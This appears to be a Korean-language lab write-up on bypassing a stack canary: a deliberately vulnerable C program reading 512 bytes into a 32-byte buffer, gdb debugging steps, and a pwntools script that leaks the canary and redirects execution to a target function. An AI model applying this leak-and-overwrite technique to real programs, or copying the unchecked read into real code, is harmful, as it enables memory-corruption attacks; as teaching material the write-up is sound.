#include <stdio.h>
void func(){
printf("Success!\n");
}
int main(void){
char buf[32] = {};
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Input : ");
read(0, buf, 512);
printf("Your input : %s", buf);
printf("Input2 : ");
read(0, buf, 512);
return 0;
}
JavaScript
복사
해당 문제는 버퍼(32) 입력 후 read함수로 512만큼 읽어들일 수 있다는 점을 이용하여 canary의 값을 추출하여 func함수를 실행하는 것이 목적이다.
해당 코드를 컴파일 시 pie옵션을 제거한 상태로 컴파일을 진행한다.
해당 문제풀이 진행 시 gdb에 pwntools를 설치하여 진행하였다.
gdb를 이용하여 디버깅 시 read함수가 실행되도록 하위주소인 main+240 주소에 브레이크 포인트를 적용하고 실행한다.
정상 실행되도록 임의의 값을 넣고 진행한다.
실행 후 rsp값을 확인해 보면 40Byte 만큼 버퍼가 존재하고 다음 Canary가 8Byte만큼 존재하는것을 확인할 수 있다. Canary의 특징은 첫 1Byte가 00(null)값으로 시작하기 때문에 바로 확인이 가능하다. Canary가 00으로 시작하는 이유는 문자열 출력의 끝이 00이기 때문에 출력되지 못하게 00으로 시작한다.
실행할 func의 주소를 확보 후 공격코드를 작성한다.
첫번째 read함수 실행 시 Canry의 값을 읽어 들이고 두번째 read함수 실행 시 공격코드를 삽입하여 실행한다. Paylaod = A(40) + Canary(8) + B(8) + func(8)
from pwn import *
func = 0x4011b6 #func의 주소
payload = b"A"*40 #버퍼의 크기만큼 채움
p = process('./canary')
p.sendline(payload) //sendline를 이용하여 개행문자 1bit가 삽입 되어 카나리의 00을 덮어씀
p.recvuntil(payload)
canary = u64(p.recv(8)) - 0x0a #개행문자 제거 후 출력
log.info("canary: {} ".format(hex(canary)))
payload2 = payload + p64(canary) + b"B"*8 + p64(func)
p.send(payload2)
p.recv()
p.interactive() //interative를 사용해야 화면에 출력할 매개체가 생성된다
JavaScript
복사
공격코드는 Canary의 첫번째 값이 00이기 때문에 41을 채워야지만 40만큼만 채우고 sendline을 이용하여 엔터값(0x0a)를 추가하기 때문에 자동으로 41이 된다. 이후에 Canary 값을 읽어들인 후 0x0a값을 다시 빼준 후 값을 저장하고 payload 이후 구해진 Canary값을 넣어주어 Canary를 우회한다.
공격코드 실행 시 func 함수가 실행되어 Success! 라는 문자열이 노출되며 BOF공격이 성공한 것을 확인할 수 있다.